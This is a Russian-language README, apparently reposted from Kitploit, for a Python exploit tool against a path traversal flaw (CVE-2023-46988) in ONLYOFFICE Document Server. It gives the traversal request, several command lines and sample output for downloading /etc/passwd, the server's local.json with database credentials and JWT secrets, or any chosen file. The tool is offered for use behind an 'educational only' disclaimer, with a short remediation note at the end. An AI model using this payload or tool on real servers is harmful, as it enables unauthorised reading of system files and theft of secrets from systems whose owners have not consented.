Эксплойт ONLYOFFICE: обход пути (CVE-2023-46988)

📌 Обзор

Этот скрипт эксплуатирует уязвимость обхода пути в ONLYOFFICE Document Server (CVE-2023-46988), которая позволяет неавторизованным пользователям копировать произвольные файлы с сервера. Уязвимость существует в конечной точке /example/editor, где параметр fileExt может быть изменён для доступа к чувствительным системным и конфигурационным файлам.

⚠️ Отказ от ответственности

Этот инструмент предназначен только для образовательных и авторизованных исследований безопасности.
Несанкционированное использование против систем без явного разрешения незаконно и неэтично.

🛠 Возможности

• Получение стандартных чувствительных файлов:
  • /etc/passwd
  • /etc/onlyoffice/documentserver/local.json (содержит учётные данные БД и JWT-секреты)
• Указание любого пути к файлу для получения с помощью аргумента --file.
• Поддержка необязательного проксирования для перехвата в Burp Suite (--proxy).
• Поддержка необязательной проверки SSL (--verify).
• Исправление проблем с кодировкой при загрузке файлов с особыми символами.

🚀 Использование

1️⃣ Базовое использование (получение стандартных файлов)

python onlyoffice_exploit.py http://localhost

Это позволяет получить:

• /etc/passwd
• /etc/onlyoffice/documentserver/local.json

2️⃣ Получение произвольного файла (например, /etc/hosts)

python onlyoffice_exploit.py http://localhost --file /etc/hosts

3️⃣ Включение прокси (например, Burp Suite на 127.0.0.1:8080)

python onlyoffice_exploit.py http://localhost --proxy

python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080

4️⃣ Включение проверки SSL

python onlyoffice_exploit.py https://example.local --verify

5️⃣ Комбинирование прокси и проверки SSL

python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify

🔍 Принцип работы

1. Отправляет запрос к /example/editor с вредоносным параметром fileExt:
   root@kitploit:~

   GET /example/editor?fileExt=../../../../../../../../etc/passwd
   

2. Извлекает URL перенаправления из ответа.
3. Разбирает имя перенаправленного файла из ответа.
4. Исправляет проблемы с кодировкой для специальных символов в именах файлов.
5. Загружает файл из /example/download?fileName=<extracted_filename>.

🛠 Пример вывода

[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd

🔒 Устранение

ONLYOFFICE исправила эту уязвимость в обновлении за февраль 2024 года.
Пользователям следует обновиться до последней версии, чтобы защитить свои серверы.

🐜 Лицензия

Этот проект распространяется под лицензией MIT – подробности см. в файле LICENSE.